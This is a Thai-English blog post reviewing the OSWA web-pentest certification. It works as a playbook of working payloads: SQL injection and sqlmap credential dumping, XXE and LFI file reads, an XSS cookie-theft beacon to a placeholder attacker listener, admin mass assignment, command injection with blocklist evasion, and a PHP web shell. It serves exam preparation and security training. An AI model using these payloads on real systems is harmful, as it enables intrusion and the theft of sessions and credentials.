OSWA Certification Review and Guideline
รีวิว OSWA ของ OffSec แบบ web-pentest playbook พร้อม payload จริงทุกช่องโหว่ SQLi XXE LFI XSS command injection file upload My OSWA review, written as a web-pentest playbook with real payloads for every class · SQLi, XXE, LFI, XSS, command injection, and file upload.

Present a certificate : Link
เกริ่นก่อน
OSWA หรือ OffSec Web Assessor เป็นเซอร์สาย web application security ล้วน ๆ ของ OffSec ผูกกับคอร์ส WEB-200 สอบแบบลงมือเจาะเว็บจริงแล้วส่ง report ของผมได้ เต็ม 100 จาก 100 เก็บครบ 10 flag บนทั้ง 5 เครื่องครับ
บล็อกนี้ผมจะไม่เขียนเป็นรีวิวน้ำ ๆ แต่จะทำเป็น playbook เอาช่องโหว่แต่ละตระกูลที่ WEB-200 เน้นกับ payload ที่ใช้ได้จริงมาวางให้เลย ขอเคลียร์ก่อนว่า payload ทุกอันด้านล่างเป็นของสาธารณะที่มีในคอร์สและตามบล็อกทั่วไป ผมจงใจใช้ target กับพารามิเตอร์แบบ generic ไม่ลง IP ชื่อแอป หรือ endpoint จริงในสนามสอบ เพราะกติกา OffSec ห้ามเปิดเผยข้อสอบ
สนามสอบเป็นยังไง
- 5 เครื่อง แต่ละเครื่องเป็นเว็บแอปแยกกัน เข้าตรง ๆ ไม่ต้อง pivot
- เครื่องละ 2 flag คือ local.txt (ยึด app ได้) กับ proof.txt (สิทธิ์สูง อ่านไฟล์ระบบหรือ RCE) รวม 10 flag
- เต็ม 100 flag ละ 10 คะแนน ต้องได้ 70 ถึงผ่าน
- เจาะ 23 ชั่วโมง 45 นาที แล้วมีอีก 24 ชั่วโมงส่ง report
- proctored มีคนคุมผ่าน VPN เปิดกล้องแชร์จอ
- ใบเซอร์ไม่มีวันหมดอายุ
TIPสอบวันเดียว ความเร็วสำคัญกว่าความสวย เจอเว็บปุ๊บต้องรู้เลยว่าไล่อะไรก่อน ติดช่องไหนนานเกิน 30-45 นาที ข้ามไปเครื่องอื่นก่อน แล้วค่อยวนกลับ
Playbook · ช่องโหว่กับ payload จริง
1. Enumeration
ครึ่งหนึ่งของเกมอยู่ตรงนี้ ช่องโหว่ส่วนใหญ่ซ่อนหลังของที่ไม่ได้ลิงก์ไว้หน้าบ้าน ยิง wordlist หาไดเรกทอรี ไฟล์ พารามิเตอร์ แล้วอ่าน source กับ error ให้ละเอียด
feroxbuster -u http://TARGET/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,txt,bak,zip -d 2
# ที่ต้องล่า: /dev /admin /_private , *.bak , พารามิเตอร์ในฟอร์ม , comment ใน HTML2. SQL injection
ลองใส่ single quote ดู error ก่อน error ประหลาด ๆ ตอน login เช่น fatal เรื่อง bind_param() บน boolean คือกลิ่น query พังเพราะ injection พอยืนยันได้ก็โยนเข้า sqlmap ดูด creds มา reuse
-- ยืนยันด้วยมือ
' OR 1=1-- -
-- MSSQL stacked / time-based
x';WAITFOR DELAY '0:0:5'--
-- MySQL time-based
x' AND SLEEP(5)-- -# เซฟ request จาก Burp แล้วให้ sqlmap ทำงาน
sqlmap -r login.req --dbs
sqlmap -r login.req -D <db> -T users --dump # เอา username/password มา reuse3. XXE
ที่ไหน import หรือ upload เป็น XML ให้สงสัยไว้ก่อน ประกาศ external entity ชี้ไฟล์ในเครื่อง ลอง /etc/passwd ยืนยันก่อน แล้วค่อยชี้ไป flag ถ้า output ไม่ echo กลับมาให้เล่นแบบ error-based หรือ OOB
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root><field>&x;</field></root>
<!-- ยืนยันด้วย /etc/passwd แล้วเปลี่ยน entity ไปชี้ไฟล์เป้าหมาย -->4. LFI / path traversal
Traversal อ่าน source อย่างไฟล์ config หรือ db_connect ที่มัก hardcode รหัส DB เป็น cleartext แล้วเอารหัสไป reuse กับ login หรือ panel อื่น php://filter ช่วยดึง source ที่ไม่งั้นจะถูก execute
?page=../../../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=config.php
# base64 กลับมา -> decode -> เจอ DB creds -> reuse5. XSS · bypass filter แล้วขโมย cookie
ถ้า payload แบบ <script> โดน filter บล็อก ให้ยิง event handler ผ่านแท็กอื่นแทน พอสคริปต์รันได้ก็ดูด document.cookie ยิงมาที่ listener ของเรา จุดตายคือ cookie ที่ไม่ตั้ง HttpOnly ให้เช็ก flag ของ cookie ทุกครั้ง
<!-- ยืนยันว่ารันได้ตอน <script> โดนบล็อก -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- ขโมย session ยิงเข้า listener -->
<img src=x onerror="new Image().src='http://YOUR-IP/c?='+encodeURIComponent(document.cookie)">python3 -m http.server 80 # รอรับ cookie ที่ยิงกลับมา6. Broken access control กับ mass assignment
ลองยัดฟิลด์สิทธิ์ที่ฝั่ง client ไม่ควรคุมได้ ตอนสมัครหรือแก้ user หลายที server เชื่อค่าจาก client ตรง ๆ เราเลยตั้งตัวเองเป็น admin ได้ฟรี ๆ ส่วน IDOR ก็สายเดียวกัน ไล่เปลี่ยน id ดูว่าแตะของคนอื่นได้ไหม
POST /createUser
username=hacker&password=hacker&makeAdmin=true
# ฟิลด์ที่ควรลอง: makeAdmin / isAdmin / admin=1 / role=admin / is_staff=true7. OS command injection
เจอฟีเจอร์ที่เอา input ไปต่อเป็นคำสั่ง shell ให้ลอง operator ต่อคำสั่งที่สอง ถ้ามี blocklist ให้หาช่องที่มันลืมบล็อก คำสั่งดู “ไม่มีพิษ” อย่าง dir, head, more ก็พอ list กับอ่านไฟล์ได้
param=x||id
param=x;id
param=x|head /etc/passwd
# blocklist บล็อก bash/cat/nc? -> ใช้ dir/head/more + operator || ; | && แทน8. File upload เป็น webshell
ถ้าอัปไฟล์ได้แล้วมันไปตกใน web root เป็น .php ก็ยัด webshell บรรทัดเดียวได้เลย ต้องรู้จัก bypass ทั้งการเช็ก extension, content-type และ magic bytes
<?php system($_GET["c"]); ?>curl "http://TARGET/uploads/shell.php?c=id" # www-data -> อ่าน proof.txt ต่อคิดเป็นชั้น กับ report
ทุกเครื่องคิดสองชั้นเสมอ local.txt คือ low-priv ที่ยึด app หรือเข้า panel ได้ ส่วน proof.txt คือ high-priv ที่อ่านไฟล์ระบบหรือรันคำสั่งได้ อย่าหยุดแค่ flag แรก
report OffSec ให้คะแนนทั้งความถูกต้องและความครบ ต้องเล่า methodology ทุกขั้น แต่ละ finding มีคำอธิบาย ภาพหลักฐาน payload และค่า flag ให้ทำตามซ้ำได้ บวกส่วน cleanup จดของที่ทิ้งไว้ เช่น webshell หรือ user ที่สร้าง เขียนไปพร้อมสอบเลย ถ่าย request/response ทุกขั้นตั้งแต่นาทีแรก เพราะมีแค่ 24 ชั่วโมง
สรุป
OSWA คุ้มมากสำหรับคนที่อยากเอาดีทางเว็บ เพราะบังคับให้เข้าใจช่องโหว่ทุกตระกูลถึงระดับเขียน payload เองได้ ไม่ใช่แค่กด tool รอผล เนื้อหาแน่น ใบเซอร์ไม่หมดอายุ และเป็นบันไดขั้นแรกที่ดีก่อนไปต่อสายเว็บขั้นสูงอย่าง OSWE
จบแล้วครับสำหรับ OSWA playbook หวังว่าจะเป็นแนวทางให้คนที่กำลังจะสอบ ขอบคุณที่อ่านจนจบครับ :)
A quick intro
OSWA, the OffSec Web Assessor, is OffSec’s purely web-application-security certification, tied to the WEB-200 course. It is a hands-on web exam plus a report. I passed with a perfect 100 out of 100, all 10 flags across all 5 targets.
This is not a fluffy review. It is a playbook: the vulnerability classes WEB-200 drills, each with a payload that actually works. To be clear, every payload below is public material from the course and the usual blogs. I deliberately use generic targets and parameters and never include real exam IPs, app names, or endpoints, because OffSec’s rules forbid sharing exam content.
What the exam is like
- Five machines, each an independent web app, reached directly with no pivoting.
- Two flags each: local.txt (you own the app) and proof.txt (high privilege, reading system files or RCE), for 10 flags total.
- Scored out of 100, 10 points a flag, 70 to pass.
- 23 hours 45 minutes to hack, then another 24 hours to submit the report.
- Proctored over a private VPN with webcam and screen share.
- The certification never expires.
TIPIt is a single day, so speed beats elegance. The moment you land on an app you should know what to check first. If a hole eats more than 30-45 minutes, move to another machine and come back.
Playbook · vulns and real payloads
1. Enumeration
Half the game is here; most bugs hide behind things not linked on the front page. Fuzz for directories, files, and parameters, and read the source and errors closely.
feroxbuster -u http://TARGET/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,txt,bak,zip -d 2
# hunt for: /dev /admin /_private , *.bak , form parameters , HTML comments2. SQL injection
Drop a single quote and watch the error. An odd login error, like a fatal about bind_param() on a boolean, is the smell of a query broken by injection. Confirm, then hand it to sqlmap and reuse the creds.
-- confirm by hand
' OR 1=1-- -
-- MSSQL stacked / time-based
x';WAITFOR DELAY '0:0:5'--
-- MySQL time-based
x' AND SLEEP(5)-- -# save the request from Burp, then let sqlmap work
sqlmap -r login.req --dbs
sqlmap -r login.req -D <db> -T users --dump # pull username/password to reuse3. XXE
Anywhere an app imports or uploads XML, be suspicious. Declare an external entity pointing at a file, confirm with /etc/passwd, then aim it at the flag. If the value is not echoed back, go error-based or out-of-band.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root><field>&x;</field></root>
<!-- confirm with /etc/passwd, then repoint the entity at the target file -->4. LFI / path traversal
Use traversal to read source such as a config or db_connect file that hardcodes the DB password in cleartext, then reuse that password against another login or panel. php://filter pulls source that would otherwise execute.
?page=../../../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=config.php
# base64 out -> decode -> DB creds -> reuse5. XSS · bypass the filter, steal the cookie
If a plain <script> payload is filtered, fire an event handler on another tag. Once script runs, read document.cookie and beacon it to your listener. The killer is a cookie set without HttpOnly, so check the cookie flags every time.
<!-- prove it runs where <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- steal the session, beacon to a listener -->
<img src=x onerror="new Image().src='http://YOUR-IP/c?='+encodeURIComponent(document.cookie)">python3 -m http.server 80 # catch the cookie it beacons back6. Broken access control and mass assignment
Inject a privilege field the client should not control. On registration or user-edit, servers often trust the client value directly and hand you admin for free. IDOR is the same family; walk the id and see if you can reach other people’s objects.
POST /createUser
username=hacker&password=hacker&makeAdmin=true
# fields worth trying: makeAdmin / isAdmin / admin=1 / role=admin / is_staff=true7. OS command injection
Where user input is concatenated into a shell command, chain a second command with an operator. If there is a blocklist, find the gaps; harmless-looking commands like dir, head, or more are enough to list and read files.
param=x||id
param=x;id
param=x|head /etc/passwd
# blocklist kills bash/cat/nc? -> use dir/head/more with || ; | && instead8. File upload to web shell
If you can upload a file that lands in the web root as .php, drop a one-line shell. Know how to bypass extension, content-type, and magic-byte checks.
<?php system($_GET["c"]); ?>curl "http://TARGET/uploads/shell.php?c=id" # www-data -> go read proof.txtThink in layers, and the report
Every machine is two layers: local.txt is the low-privilege step where you own the app or reach a panel, and proof.txt is the high-privilege step where you read system files or run commands. Do not stop at the first flag.
OffSec grades the report on correctness and fullness. It must lay out your methodology, and each finding needs a description, screenshots, the payload, and the flag value so it can be reproduced, plus a cleanup section listing what you left behind, like a web shell or a user you created. Write it during the exam and screenshot every request and response from minute one, because you only have 24 hours.
Wrapping up
OSWA is well worth it for anyone going deep on the web, because it makes you understand every family of vulnerability down to writing the payload yourself, not just running a tool. The material is dense, the cert never expires, and it is a solid first rung before the advanced web track like OSWE.
That is the OSWA playbook. I hope it gives some direction to anyone about to sit it. Thanks for reading.
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀
⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋⠀⢀⣀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀⠀⣴⣿⣿⣿⣦
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀⠀⢿⣿⣿⣿⡟⠀Ar3mus @ OSWA Certification Review and Guideline
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠉⠉⠁
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄
⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀⠀⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀⠀⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉